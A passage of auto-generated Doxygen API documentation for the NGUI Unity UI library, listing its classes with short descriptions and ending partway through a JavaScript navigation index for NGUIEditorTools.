<tr><td class="indexkey"><a class="el" href="d6/de2/class_b_m_glyph.html">BMGlyph</a></td><td class="indexvalue">Glyph structure used by <a class="el" href="d0/d6a/class_b_m_font.html" title="BMFont reader. C# implementation of http://www.angelcode.com/products/bmfont/.">BMFont</a>. For more information see <a href="http://www.angelcode.com/products/bmfont/">http://www.angelcode.com/products/bmfont/</a> </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/d5d/class_byte_reader.html">ByteReader</a></td><td class="indexvalue">MemoryStream.ReadLine has an interesting oddity: it doesn't always advance the stream's position by the correct amount: <a href="http://social.msdn.microsoft.com/Forums/en-AU/Vsexpressvcs/thread/b8f7837b-e396-494e-88e1-30547fcf385f">http://social.msdn.microsoft.com/Forums/en-AU/Vsexpressvcs/thread/b8f7837b-e396-494e-88e1-30547fcf385f</a> Solution? Custom line reader with the added benefit of not having to use streams at all </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/de1/class_chat_input.html">ChatInput</a></td><td class="indexvalue">Very simple example of how to use a TextList with a <a class="el" href="d0/ded/class_u_i_input.html" title="Editable text input field.">UIInput</a> for chat </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/d10/class_component_selector.html">ComponentSelector</a></td><td class="indexvalue">EditorGUILayout.ObjectField doesn't support custom components, so a custom wizard saves the day. Unfortunately this tool only shows components that are being used by the scene, so it's a "recently used" selection tool </td></tr>
<tr><td class="indexkey"><a class="el" href="dc/d8a/class_update_manager_1_1_destroy_entry.html">UpdateManager.DestroyEntry</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d1/da2/class_equip_items.html">EquipItems</a></td><td class="indexvalue">Equip the specified items on the character when the script is started </td></tr>
<tr><td class="indexkey"><a class="el" href="df/da8/class_equip_random_item.html">EquipRandomItem</a></td><td class="indexvalue">Create and equip a random item on the specified target </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/d04/class_ignore_time_scale.html">IgnoreTimeScale</a></td><td class="indexvalue">Implements common functionality for monobehaviours that wish to have a timeScale-independent deltaTime </td></tr>
<tr><td class="indexkey"><a class="el" href="dc/d3e/struct_n_g_u_i_editor_tools_1_1_int_vector.html">NGUIEditorTools.IntVector</a></td><td class="indexvalue">Struct type for the integer vector field below </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/de4/class_inv_attachment_point.html">InvAttachmentPoint</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="db/dd9/class_inv_base_item.html">InvBaseItem</a></td><td class="indexvalue">Inventory System -- Base Item. Note that it would be incredibly tedious to create all items by hand, Warcraft style. It's a lot more straightforward to create all items to be of the same level as far as stats go, then specify an appropriate level range for the item where it will appear. Effective item stats can then be calculated by lowering the base stats by an appropriate amount. Add a quality modifier, and you have additional variety, Terraria 1.1 style </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/d9a/class_inv_database.html">InvDatabase</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="db/d58/class_inv_database_inspector.html">InvDatabaseInspector</a></td><td class="indexvalue">Inspector class used to edit Inventory Databases </td></tr>
<tr><td class="indexkey"><a class="el" href="db/ded/class_inv_equipment.html">InvEquipment</a></td><td class="indexvalue">Inventory system -- Equipment class works with InvAttachmentPoints and allows to visually equip and remove items </td></tr>
<tr><td class="indexkey"><a class="el" href="da/d40/class_inv_find_item.html">InvFindItem</a></td><td class="indexvalue">Inventory System search functionality </td></tr>
<tr><td class="indexkey"><a class="el" href="d3/dbc/class_inv_game_item.html">InvGameItem</a></td><td class="indexvalue">Since it would be incredibly tedious to create thousands of unique items by hand, a simple solution is needed. Separating items into 2 parts is that solution. Base item contains stats that the item would have if it was max level. All base items are created with their stats at max level. Game item, the second item class, has an effective item level which is used to calculate effective item stats. Game items can be generated with a random level (clamped within base item's min/max level range), and with random quality affecting the item's stats </td></tr>
<tr><td class="indexkey"><a class="el" href="d3/dd7/class_inv_stat.html">InvStat</a></td><td class="indexvalue">Inventory System statistic </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/de7/class_inv_tools.html">InvTools</a></td><td class="indexvalue">Inventory System Tools </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d3c/struct_b_m_glyph_1_1_kerning.html">BMGlyph.Kerning</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d7/dfe/class_lag_position.html">LagPosition</a></td><td class="indexvalue">Attach to a game object to make its position always lag behind its parent as the parent moves </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/d18/class_lag_rotation.html">LagRotation</a></td><td class="indexvalue">Attach to a game object to make its rotation always lag behind its parent as the parent rotates </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/d64/class_language_selection.html">LanguageSelection</a></td><td class="indexvalue">Turns the popup list it's attached to into a language selection list </td></tr>
<tr><td class="indexkey"><a class="el" href="db/dfb/class_load_level_on_click.html">LoadLevelOnClick</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="dd/d88/class_localization.html">Localization</a></td><td class="indexvalue"><a class="el" href="dd/d88/class_localization.html" title="Localization manager is able to parse localization information from text assets. Although a singleton...">Localization</a> manager is able to parse localization information from text assets. Although a singleton, you will generally not access this class as such. Instead you should implement "void Localize (Localization loc)" functions in your classes. Take a look at <a class="el" href="d0/dd5/class_u_i_localize.html" title="Simple script that lets you localize a UIWidget.">UILocalize</a> to see how it's used </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/d1d/class_look_at_target.html">LookAtTarget</a></td><td class="indexvalue">Attaching this script to an object will make that object face the specified target. The most ideal use for this script is to attach it to the camera and make the camera look at its target </td></tr>
<tr><td class="indexkey"><a class="el" href="d3/d23/class_u_i_camera_1_1_mouse_or_touch.html">UICamera.MouseOrTouch</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d9/db5/class_n_g_u_i_debug.html">NGUIDebug</a></td><td class="indexvalue">This class is meant to be used only internally. It's like Debug.Log, but prints using OnGUI to screen instead </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/d56/class_n_g_u_i_editor_tools.html">NGUIEditorTools</a></td><td class="indexvalue">Tools for the editor </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/d10/class_n_g_u_i_json.html">NGUIJson</a></td><td class="indexvalue">This class encodes and decodes JSON strings. Spec. details, see <a href="http://www.json.org/">http://www.json.org/</a> </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/d11/class_n_g_u_i_math.html">NGUIMath</a></td><td class="indexvalue">Helper class containing generic functions used throughout the UI library </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/d52/class_n_g_u_i_menu.html">NGUIMenu</a></td><td class="indexvalue">This script adds the NGUI menu options to the Unity Editor </td></tr>
<tr><td class="indexkey"><a class="el" href="dd/de0/class_n_g_u_i_selection_tools.html">NGUISelectionTools</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d8/dee/class_n_g_u_i_tools.html">NGUITools</a></td><td class="indexvalue">Helper class containing generic functions used throughout the UI library </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/d86/class_n_g_u_i_transform_inspector.html">NGUITransformInspector</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d1/db9/class_pan_with_mouse.html">PanWithMouse</a></td><td class="indexvalue">Placing this script on the game object will make that game object pan with mouse movement </td></tr>
<tr><td class="indexkey"><a class="el" href="de/d2a/class_u_i_text_list_1_1_paragraph.html">UITextList.Paragraph</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d5/de0/class_play_idle_animations.html">PlayIdleAnimations</a></td><td class="indexvalue">Attach this script to any object that has idle animations. It's expected that the main idle loop animation is called "idle", and idle break animations all begin with "idle" (ex: idleStretch, idleYawn, etc). The script will place the idle loop animation on layer 0, and breaks on layer 1 </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d6b/class_set_color_on_selection.html">SetColorOnSelection</a></td><td class="indexvalue">Simple script used by Tutorial 11 that sets the color of the sprite based on the string value </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/d41/class_shader_quality.html">ShaderQuality</a></td><td class="indexvalue">Change the shader level-of-detail to match the quality settings. Also allows changing of the quality level from within the editor without having to open up the quality preferences, seeing the results right away </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/df0/class_spin.html">Spin</a></td><td class="indexvalue">Want something to spin? Attach this script to it. Works equally well with rigidbodies as without </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/ddd/class_spin_with_mouse.html">SpinWithMouse</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="df/d08/class_spring_position.html">SpringPosition</a></td><td class="indexvalue">Spring-like motion -- the farther away the object is from the target, the stronger the pull </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/d1e/class_u_i_atlas_1_1_sprite.html">UIAtlas.Sprite</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="da/d60/class_tween_color.html">TweenColor</a></td><td class="indexvalue">Tween the object's color </td></tr>
<tr><td class="indexkey"><a class="el" href="de/d50/class_tween_position.html">TweenPosition</a></td><td class="indexvalue">Tween the object's position </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/dbc/class_tween_rotation.html">TweenRotation</a></td><td class="indexvalue">Tween the object's rotation </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/d0b/class_tween_scale.html">TweenScale</a></td><td class="indexvalue">Tween the object's local scale </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/d31/class_tween_transform.html">TweenTransform</a></td><td class="indexvalue">Tween the object's position, rotation and scale </td></tr>
<tr><td class="indexkey"><a class="el" href="d4/ddd/class_typewriter_effect.html">TypewriterEffect</a></td><td class="indexvalue">Trivial script that fills the label's contents gradually, as if someone was typing </td></tr>
<tr><td class="indexkey"><a class="el" href="dd/d4d/class_u_i_anchor.html">UIAnchor</a></td><td class="indexvalue">This script can be used to anchor an object to the side of the screen, or scale an object to always match the dimensions of the screen </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/d96/class_u_i_atlas.html">UIAtlas</a></td><td class="indexvalue">UI Atlas contains a collection of sprites inside one large texture atlas </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/d4b/class_u_i_atlas_inspector.html">UIAtlasInspector</a></td><td class="indexvalue">Inspector class used to edit the <a class="el" href="d8/d96/class_u_i_atlas.html" title="UI Atlas contains a collection of sprites inside one large texture atlas.">UIAtlas</a> </td></tr>
<tr><td class="indexkey"><a class="el" href="de/d7b/class_u_i_atlas_maker.html">UIAtlasMaker</a></td><td class="indexvalue">Atlas maker lets you create atlases from a bunch of small textures. It's an alternative to using the external Texture Packer </td></tr>
<tr><td class="indexkey"><a class="el" href="de/df8/class_u_i_button_color.html">UIButtonColor</a></td><td class="indexvalue">Simple example script of how a button can be colored when the mouse hovers over it or it gets pressed </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/d4e/class_u_i_button_keys.html">UIButtonKeys</a></td><td class="indexvalue">Attaching this script to a widget makes it react to key events such as tab, up, down, etc </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/db0/class_u_i_button_message.html">UIButtonMessage</a></td><td class="indexvalue">Sends a message to the remote object when something happens </td></tr>
<tr><td class="indexkey"><a class="el" href="db/d63/class_u_i_button_offset.html">UIButtonOffset</a></td><td class="indexvalue">Simple example script of how a button can be offset visibly when the mouse hovers over it or it gets pressed </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/d7e/class_u_i_button_play_animation.html">UIButtonPlayAnimation</a></td><td class="indexvalue">Play the specified animation on click. Sends out the "OnAnimationFinished()" notification to the target when the animation finishes </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d87/class_u_i_button_rotation.html">UIButtonRotation</a></td><td class="indexvalue">Simple example script of how a button can be rotated visibly when the mouse hovers over it or it gets pressed </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/dab/class_u_i_button_scale.html">UIButtonScale</a></td><td class="indexvalue">Simple example script of how a button can be scaled visibly when the mouse hovers over it or it gets pressed </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/d6c/class_u_i_button_sound.html">UIButtonSound</a></td><td class="indexvalue">Plays the specified sound </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/dc5/class_u_i_button_tween.html">UIButtonTween</a></td><td class="indexvalue">Attaching this to an object lets you activate tweener components on other objects </td></tr>
<tr><td class="indexkey"><a class="el" href="de/d25/class_u_i_camera.html">UICamera</a></td><td class="indexvalue">This script should be attached to each camera that's used to draw the objects with UI components on them. This may mean only one camera (main camera or your UI camera), or multiple cameras if you happen to have multiple viewports. Failing to attach this script simply means that objects drawn by this camera won't receive UI notifications: </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/dd3/class_u_i_camera_tool.html">UICameraTool</a></td><td class="indexvalue">Panel wizard that allows a bird's eye view of all cameras in your scene </td></tr>
<tr><td class="indexkey"><a class="el" href="de/d39/class_u_i_checkbox.html">UICheckbox</a></td><td class="indexvalue">Simple checkbox functionality. If 'option' is enabled, checking this checkbox will uncheck all other checkboxes with the same parent </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/d5c/class_u_i_checkbox_controlled_component.html">UICheckboxControlledComponent</a></td><td class="indexvalue">Example script showing how to activate or deactivate a MonoBehaviour when OnActivate event is received. OnActivate event is sent out by the <a class="el" href="de/d39/class_u_i_checkbox.html" title="Simple checkbox functionality. If 'option' is enabled, checking this checkbox will uncheck all other ...">UICheckbox</a> script </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d1e/class_u_i_checkbox_controlled_object.html">UICheckboxControlledObject</a></td><td class="indexvalue">Example script showing how to activate or deactivate a game object when OnActivate event is received. OnActivate event is sent out by the <a class="el" href="de/d39/class_u_i_checkbox.html" title="Simple checkbox functionality. If 'option' is enabled, checking this checkbox will uncheck all other ...">UICheckbox</a> script </td></tr>
<tr><td class="indexkey"><a class="el" href="da/da0/class_u_i_create_new_u_i_wizard.html">UICreateNewUIWizard</a></td><td class="indexvalue">UI Creation Wizard </td></tr>
<tr><td class="indexkey"><a class="el" href="db/d96/class_u_i_create_widget_wizard.html">UICreateWidgetWizard</a></td><td class="indexvalue">UI Widget Creation Wizard </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/d74/class_u_i_cursor.html">UICursor</a></td><td class="indexvalue">Selectable sprite that follows the mouse </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/dc0/class_u_i_drag_camera.html">UIDragCamera</a></td><td class="indexvalue">Allows dragging of the camera object and restricts camera's movement to be within bounds of the area created by the rootForBounds colliders </td></tr>
<tr><td class="indexkey"><a class="el" href="dc/d57/class_u_i_drag_object.html">UIDragObject</a></td><td class="indexvalue">Allows dragging of the specified target object by mouse or touch, optionally limiting it to be within the <a class="el" href="da/deb/class_u_i_panel.html" title="UI Panel is responsible for collecting, sorting and updating widgets in addition to generating widget...">UIPanel</a>'s clipped rectangle </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/dd6/class_u_i_draw_call.html">UIDrawCall</a></td><td class="indexvalue">This is an internally-created script used by the UI system. You shouldn't be attaching it manually </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/d46/class_u_i_draw_call_inspector.html">UIDrawCallInspector</a></td><td class="indexvalue">Inspector class used to view UIDrawCalls </td></tr>
<tr><td class="indexkey"><a class="el" href="d3/d2f/class_u_i_equipment_slot.html">UIEquipmentSlot</a></td><td class="indexvalue">A UI script that keeps an eye on the slot in character equipment </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/dfb/class_u_i_event_listener.html">UIEventListener</a></td><td class="indexvalue">Event Hook class lets you easily add remote event listener functions to an object. Example usage: UIEventListener.Add(gameObject).onClick += MyClickFunction; </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/dd3/class_u_i_filled_sprite.html">UIFilledSprite</a></td><td class="indexvalue">Similar to a regular <a class="el" href="d1/dc6/class_u_i_sprite.html" title="Very simple UI sprite -- a simple quad of specified size, drawn using a part of the texture atlas...">UISprite</a>, but lets you only display a part of it. Great for progress bars, sliders, and alike. Originally contributed by <NAME> </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d3a/class_u_i_filled_sprite_inspector.html">UIFilledSpriteInspector</a></td><td class="indexvalue">Inspector class used to edit UIFilledSprites </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/de7/class_u_i_font.html">UIFont</a></td><td class="indexvalue"><a class="el" href="d5/de7/class_u_i_font.html" title="UIFont contains everything needed to be able to print text.">UIFont</a> contains everything needed to be able to print text </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d3d/class_u_i_font_inspector.html">UIFontInspector</a></td><td class="indexvalue">Inspector class used to view and edit UIFonts </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/d53/class_u_i_font_maker.html">UIFontMaker</a></td><td class="indexvalue">Font maker lets you create font prefabs with a single click of a button </td></tr>
<tr><td class="indexkey"><a class="el" href="dc/dcb/class_u_i_forward_events.html">UIForwardEvents</a></td><td class="indexvalue">This script can be used to forward events from one object to another. Example usage: Forwarding 'drag' event from the slider's thumb to the slider itself. In most cases you should use <a class="el" href="d5/dfb/class_u_i_event_listener.html" title="Event Hook class lets you easily add remote event listener functions to an object. Example usage: UIEventListener.Add(gameObject).onClick += MyClickFunction;.">UIEventListener</a> script instead. For example: UIEventListener.Add(gameObject).onClick += MyClickFunction; </td></tr>
<tr><td class="indexkey"><a class="el" href="da/dc9/class_u_i_geometry.html">UIGeometry</a></td><td class="indexvalue">Generated geometry class. All widgets have one. This class separates the geometry creation into several steps, making it possible to perform actions selectively depending on what has changed. For example, the widget doesn't need to be rebuilt unless something actually changes, so its geometry can be cached. Likewise, the widget's transformed coordinates only change if the widget's transform moves relative to the panel, so that can be cached as well. In the end, using this class means using more memory, but at the same time it allows for significant performance gains, especially when using widgets that spit out a lot of vertices, such as UILabels </td></tr>
<tr><td class="indexkey"><a class="el" href="da/dc2/class_u_i_grid.html">UIGrid</a></td><td class="indexvalue">All children added to the game object with this script will be repositioned to be on a grid of specified dimensions. If you want the cells to automatically set their scale based on the dimensions of their content, take a look at <a class="el" href="d6/d5b/class_u_i_table.html" title="All children added to the game object with this script will be arranged into a table with rows and co...">UITable</a> </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/d71/class_u_i_image_button.html">UIImageButton</a></td><td class="indexvalue">Sample script showing how easy it is to implement a standard button that swaps sprites </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/de0/class_u_i_image_button_inspector.html">UIImageButtonInspector</a></td><td class="indexvalue">Inspector class used to edit UISprites </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/ded/class_u_i_input.html">UIInput</a></td><td class="indexvalue">Editable text input field </td></tr>
<tr><td class="indexkey"><a class="el" href="de/d1b/class_u_i_input_saved.html">UIInputSaved</a></td><td class="indexvalue">Editable text input field that automatically saves its data to PlayerPrefs </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/d42/class_u_i_item_slot.html">UIItemSlot</a></td><td class="indexvalue">Abstract UI component observing an item somewhere in the inventory. This item can be equipped on the character, it can be lying in a chest, or it can be hot-linked by another player. Either way, all the common behavior is in this class. What the observed item actually is... that's up to the derived class to determine </td></tr>
<tr><td class="indexkey"><a class="el" href="db/d4a/class_u_i_item_storage.html">UIItemStorage</a></td><td class="indexvalue">Storage container that stores items </td></tr>
<tr><td class="indexkey"><a class="el" href="db/d1c/class_u_i_label.html">UILabel</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="de/dcf/class_u_i_label_inspector.html">UILabelInspector</a></td><td class="indexvalue">Inspector class used to edit UILabels </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/dd5/class_u_i_localize.html">UILocalize</a></td><td class="indexvalue">Simple script that lets you localize a <a class="el" href="d1/d68/class_u_i_widget.html" title="Base class for all UI components that should be derived from when creating new widget types...">UIWidget</a> </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/db1/class_u_i_node.html">UINode</a></td><td class="indexvalue"><a class="el" href="da/deb/class_u_i_panel.html" title="UI Panel is responsible for collecting, sorting and updating widgets in addition to generating widget...">UIPanel</a> creates one of these records for each child transform under it. This makes it possible to watch for transform changes, and if something does change -- rebuild the buffer as necessary </td></tr>
<tr><td class="indexkey"><a class="el" href="dc/d6d/class_u_i_ortho_camera.html">UIOrthoCamera</a></td><td class="indexvalue">Convenience script that resizes the camera's orthographic size to match the screen size. This script can be used to create pixel-perfect UI, however it's usually more convenient to create the UI that stays proportional as the screen scales. If that is what you want, you don't need this script (or at least don't need it to be active) </td></tr>
<tr><td class="indexkey"><a class="el" href="da/deb/class_u_i_panel.html">UIPanel</a></td><td class="indexvalue">UI Panel is responsible for collecting, sorting and updating widgets in addition to generating widgets' geometry </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/dfc/class_u_i_panel_inspector.html">UIPanelInspector</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d3/d33/class_u_i_panel_tool.html">UIPanelTool</a></td><td class="indexvalue">Panel wizard that allows enabling / disabling and selecting panels in the scene </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/dcb/class_u_i_popup_list.html">UIPopupList</a></td><td class="indexvalue">Popup list can be used to display pop-up menus and drop-down lists </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/db3/class_u_i_popup_list_inspector.html">UIPopupListInspector</a></td><td class="indexvalue">Inspector class used to edit UIPopupLists </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/d28/class_u_i_root.html">UIRoot</a></td><td class="indexvalue">This is a script used to keep the game object scaled to 2/(Screen.height). If you use it, be sure to NOT use <a class="el" href="dc/d6d/class_u_i_ortho_camera.html" title="Convenience script that resizes the camera's orthographic size to match the screen size...">UIOrthoCamera</a> at the same time </td></tr>
<tr><td class="indexkey"><a class="el" href="da/dc0/class_u_i_saved_option.html">UISavedOption</a></td><td class="indexvalue">Attach this script to the parent of a group of checkboxes, or to a checkbox itself to save its state </td></tr>
<tr><td class="indexkey"><a class="el" href="db/d73/class_u_i_settings.html">UISettings</a></td><td class="indexvalue">Unity doesn't keep the values of static variables after scripts change get recompiled. One way around this is to store the references in PlayerPrefs -- retrieve them at start, and save them whenever something changes </td></tr>
<tr><td class="indexkey"><a class="el" href="d2/d9c/class_u_i_sliced_sprite.html">UISlicedSprite</a></td><td class="indexvalue">9-sliced widget component used to draw large widgets using small textures </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/dc8/class_u_i_sliced_sprite_inspector.html">UISlicedSpriteInspector</a></td><td class="indexvalue">Inspector class used to edit UISlicedSprites </td></tr>
<tr><td class="indexkey"><a class="el" href="df/d68/class_u_i_slider.html">UISlider</a></td><td class="indexvalue">Simple slider functionality </td></tr>
<tr><td class="indexkey"><a class="el" href="d8/dac/class_u_i_slider_colors.html">UISliderColors</a></td><td class="indexvalue">This script automatically changes the color of the specified sprite based on the value of the slider </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/dc6/class_u_i_sprite.html">UISprite</a></td><td class="indexvalue">Very simple UI sprite -- a simple quad of specified size, drawn using a part of the texture atlas </td></tr>
<tr><td class="indexkey"><a class="el" href="d0/de4/class_u_i_sprite_animation.html">UISpriteAnimation</a></td><td class="indexvalue">Very simple sprite animation. Attach to a sprite and specify a bunch of sprite names and it will cycle through them </td></tr>
<tr><td class="indexkey"><a class="el" href="df/dc7/class_u_i_sprite_animation_inspector.html">UISpriteAnimationInspector</a></td><td class="indexvalue">Inspector class used to edit UISpriteAnimations </td></tr>
<tr><td class="indexkey"><a class="el" href="d7/d42/class_u_i_sprite_inspector.html">UISpriteInspector</a></td><td class="indexvalue">Inspector class used to edit UISprites </td></tr>
<tr><td class="indexkey"><a class="el" href="da/d0c/class_u_i_storage_slot.html">UIStorageSlot</a></td><td class="indexvalue">A UI script that keeps an eye on the slot in a storage container </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/d5b/class_u_i_table.html">UITable</a></td><td class="indexvalue">All children added to the game object with this script will be arranged into a table with rows and columns automatically adjusting their size to fit their content (think "table" tag in HTML) </td></tr>
<tr><td class="indexkey"><a class="el" href="df/ded/class_u_i_text_list.html">UITextList</a></td><td class="indexvalue">Text list can be used with a <a class="el" href="db/d1c/class_u_i_label.html">UILabel</a> to create a scrollable multi-line text field that's easy to add new entries to. Optimal use: chat window </td></tr>
<tr><td class="indexkey"><a class="el" href="d4/d1b/class_u_i_texture.html">UITexture</a></td><td class="indexvalue">If you don't have or don't wish to create an atlas, you can simply use this script to draw a texture. Keep in mind though that this will create an extra draw call with each <a class="el" href="d4/d1b/class_u_i_texture.html" title="If you don't have or don't wish to create an atlas, you can simply use this script to draw a texture...">UITexture</a> present, so it's best to use it only for backgrounds or temporary visible widgets </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/d66/class_u_i_texture_inspector.html">UITextureInspector</a></td><td class="indexvalue">Inspector class used to edit UITextures </td></tr>
<tr><td class="indexkey"><a class="el" href="dc/d79/class_u_i_tiled_sprite.html">UITiledSprite</a></td><td class="indexvalue">Widget that tiles the sprite repeatedly, fully filling the area. Used best with repeating tileable backgrounds </td></tr>
<tr><td class="indexkey"><a class="el" href="d4/d57/class_u_i_tiled_sprite_inspector.html">UITiledSpriteInspector</a></td><td class="indexvalue">Inspector class used to edit UITiledSprites </td></tr>
<tr><td class="indexkey"><a class="el" href="da/de4/class_u_i_tooltip.html">UITooltip</a></td><td class="indexvalue">Example script that can be used to show tooltips </td></tr>
<tr><td class="indexkey"><a class="el" href="db/d3d/class_u_i_tweener.html">UITweener</a></td><td class="indexvalue">Base class for all tweening operations </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/d5e/class_u_i_viewport.html">UIViewport</a></td><td class="indexvalue">This script can be used to restrict camera rendering to a specific part of the screen by specifying the two corners </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/d68/class_u_i_widget.html">UIWidget</a></td><td class="indexvalue">Base class for all UI components that should be derived from when creating new widget types </td></tr>
<tr><td class="indexkey"><a class="el" href="d9/d44/class_u_i_widget_inspector.html">UIWidgetInspector</a></td><td class="indexvalue">Inspector class used to edit UIWidgets </td></tr>
<tr><td class="indexkey"><a class="el" href="d1/dc7/class_update_manager_1_1_update_entry.html">UpdateManager.UpdateEntry</a></td><td class="indexvalue"></td></tr>
<tr><td class="indexkey"><a class="el" href="d1/dc6/class_update_manager.html">UpdateManager</a></td><td class="indexvalue">Update manager allows for simple programmatic ordering of update events </td></tr>
<tr><td class="indexkey"><a class="el" href="d6/da0/class_window_auto_yaw.html">WindowAutoYaw</a></td><td class="indexvalue">Attaching this script to an object will make it turn as it gets closer to left/right edges of the screen. Look at how it's used in Example 6 </td></tr>
<tr><td class="indexkey"><a class="el" href="d5/da7/class_window_drag_tilt.html">WindowDragTilt</a></td><td class="indexvalue">Attach this script to a child of a draggable window to make it tilt as it's dragged. Look at how it's used in Example 6 </td></tr>
</table>
</div><!-- contents -->
</div>
<div id="nav-path" class="navpath">
<ul>
<li class="footer">Generated on Mon Mar 12 2012 15:17:52 for NGUI by
<a href="http://www.doxygen.org/index.html">
<img class="footer" src="doxygen.png" alt="doxygen"/></a> 1.8.0 </li>
</ul>
</div>
</body>
</html>
<file_sep>/nguiApi/NGUIDocs/d7/d56/class_n_g_u_i_editor_tools.js
var class_n_g_u_i_editor_tools =
[
[ "DrawAtlas", "d7/d56/class_n_g_u_i_editor_tools.html#ade72820675c334fb29aaf6af96a6f0c7", null ],
[ "DrawHeader", "d7/d56/class_n_g_u_i_editor_tools.html#ac41fdecc9ee95d1c26b6f0dc92999974", null ],
[ "DrawList", "d7/d56/class_n_g_u_i_editor_tools.html#a44b916e6d63a693d3e189981d6341923", null ],
[ "DrawOutline", "d7/d56/class_n_g_u_i_editor_tools.html#a7dd755560cbf8f92da08ac3db631628c", null ],
[ "DrawOutline", "d7/d56/class_n_g_u_i_editor_tools.html#ac491ca5c0945570e3dfae940f35f9d00", null ],
[ "DrawOutline", "d7/d56/class_n_g_u_i_editor_tools.html#a3d14155c59ed5e3c60763eed28c6f53e", null ],
[ "DrawOutline", "d7/d56/class_n_g_u_i_editor_tools.html#af3e2058960b4e76b28b22c9525bcde51", null ],
[ "DrawOutline", "d7/d56/class_n_g_u_i_editor_tools.html#a4b55a55bca2c1049ad4635890cabe052", null ],
[ "DrawSeparator", "d7/d56/class_n_g_u_i_editor_tools.html#a74fbaec1f7cc8e45f8e491df1f6f34bc", null ],
[ "DrawSprite", "d7/d56/class_n_g_u_i_editor_tools.html#afba8161ed0a021da23d81eb43e7b2928", null ],
[ "DrawTiledTexture", "d7/d56/class_n_g_u_i_editor_tools.html#aa6287310929bdcdf1c34578c2837fd6e", null ],
[ "FindInScene< T >", "d7/d56/class_n_g_u_i_editor_tools.html#a2d096845fb95523bf3b0136913be5d75", null ],
[ "GetSaveableTexturePath", "d7/d56/class_n_g_u_i_editor_tools.html#a2336b6f9ae0b04ecda74aa119dd339e2", null ],
[ "GetSelectionFolder", "d7/d56/class_n_g_u_i_editor_tools.html#ab0526d655811eb72e0ebad5d34cc6343", null ],
[ "HighlightLine", "d7/d56/class_n_g_u_i_editor_tools.html#a7807c41d2450801e05319ed7d468f19b", null ],
[ "ImportTexture", "d7/d56/class_n_g_u_i_editor_tools.html#a10230051a7cce63bc0231acd19adb96a", null ],
[ "ImportTexture", "d7/d56/class_n_g_u_i_editor_tools.html#a0965328852757e3249930d97e15a4b77", null ],
[ "IntPadding", "d7/d56/class_n_g_u_i_editor_tools.html#afb35d37f80d7450d72eee553e8ee398a", null ],
[ "IntPair", "d7/d56/class_n_g_u_i_editor_tools.html#a99ccaee184db4683732f42fd7b1270c8", null ],
